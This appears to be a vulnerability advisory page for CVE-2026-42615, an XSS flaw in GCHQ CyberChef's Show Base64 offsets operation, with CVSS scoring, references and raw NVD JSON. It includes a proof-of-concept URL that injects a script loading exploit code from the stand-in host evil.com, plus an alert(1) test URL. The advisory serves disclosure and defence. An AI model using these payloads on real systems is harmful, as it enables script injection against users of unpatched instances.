CVE-2026-42615

Description

GCHQ CyberChef before 11.0.0 allows XSS via Show Base64 offsets, as demonstrated by the /#recipe=Show_Base64_offsets('%3Cscript substring.

CVSS Details

CVSS Score

7.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

GCHQ CyberChef < 11.0.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// PoC URL generated based on vulnerability description
// Access the vulnerable CyberChef instance with the following URL:
// https://[target]/#recipe=Show_Base64_offsets('%3Cscript%20src%3Dhttp%3A%2F%2Fevil.com%2Fexploit.js%3E%3C%2Fscript%3E')

// Alternative simple alert test:
// https://[target]/#recipe=Show_Base64_offsets('%3Cscript%20alert(1)%3E')

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42615
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42615
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42615/
[4] VulDB https://vuldb.com/cve/CVE-2026-42615
[5] https://github.com/gchq/CyberChef/commit/9641ae07f92e9af50f10e978385465b2f4a36c4d
[6] https://github.com/gchq/CyberChef/compare/v10.24.0...v11.0.0
[7] https://github.com/gchq/CyberChef/issues/2344
[8] https://github.com/gchq/CyberChef/pull/2346

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42615", "sourceIdentifier": "[email protected]", "published": "2026-04-29T04:16:41.750", "lastModified": "2026-04-30T15:48:26.580", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "GCHQ CyberChef before 11.0.0 allows XSS via Show Base64 offsets, as demonstrated by the /#recipe=Show_Base64_offsets('%3Cscript substring."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/gchq/CyberChef/commit/9641ae07f92e9af50f10e978385465b2f4a36c4d", "source": "[email protected]"}, {"url": "https://github.com/gchq/CyberChef/compare/v10.24.0...v11.0.0", "source": "[email protected]"}, {"url": "https://github.com/gchq/CyberChef/issues/2344", "source": "[email protected]"}, {"url": "https://github.com/gchq/CyberChef/pull/2346", "source": "[email protected]"}]}}